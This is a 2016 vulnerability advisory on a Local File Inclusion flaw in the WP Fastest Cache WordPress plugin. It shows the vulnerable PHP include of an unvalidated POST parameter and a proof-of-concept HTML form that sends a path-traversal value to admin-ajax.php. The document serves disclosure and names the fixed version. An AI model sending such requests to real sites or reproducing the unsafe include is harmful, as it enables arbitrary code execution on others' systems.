Advisory

Yorick Koster, July 2016

WP Fastest Cache Member Local File Inclusion vulnerability

Abstract

It was discovered that the WP Fastest Cache WordPress plugin is vulnerable to Local File Inclusion. This issue can potentially be exploited to run arbitrary PHP code. In order to do so, the attacker must be able to place an arbitrary PHP file on the target system. The malicious file must have the .php extension.

OVE ID

OVE-20160712-0022

Tested versions

This issue was successfully tested on WP Fastest Cache WordPress Plugin version 0.8.5.9.

Fix

This issue is resolved in WP Fastest Cache version 0.8.6.0.

Introduction

The WP Fastest Cache WordPress Plugin creates static html files from a dynamic WordPress blog. When a page is rendered, PHP and MySQL are used. Therefore, system needs RAM and CPU. If many visitors come to a site, system uses lots of RAM and CPU so page is rendered so slowly. In this case, you need a cache system not to render page again and again. Cache system generates a static html file and saves. Other users reach to static html page. A Local File Inclusion vulnerability exists in the WP Fastest Cache WordPress plugin. This issue can potentially be exploited to run arbitrary PHP code. In order to do so, the attacker must be able to place an arbitrary PHP file on the target system. The malicious file must have the .php extension.

Details

The issue exists in the file wpFastestCache.php and is caused by the lack of input validation on the id POST parameter. The vulnerable code is listed below.

public function wpfc_cdn_template_ajax_request_callback(){
   if(current_user_can('manage_options')){
      ob_start();
      include_once(WPFC_MAIN_PATH."templates/cdn/".$_POST["id"].".php");
      $content = ob_get_contents();
      ob_end_clean();
   
[...]

Proof of concept

<html>
   <body>
      <form action="http://<target>/wp-admin/admin-ajax.php" method="POST">
         <input type="hidden" name="action" value="wpfc_cdn_template_ajax_request" />
         <input type="hidden" name="id" value="../exclude" />
         <input type="submit" />
      </form>
   </body>
</html>

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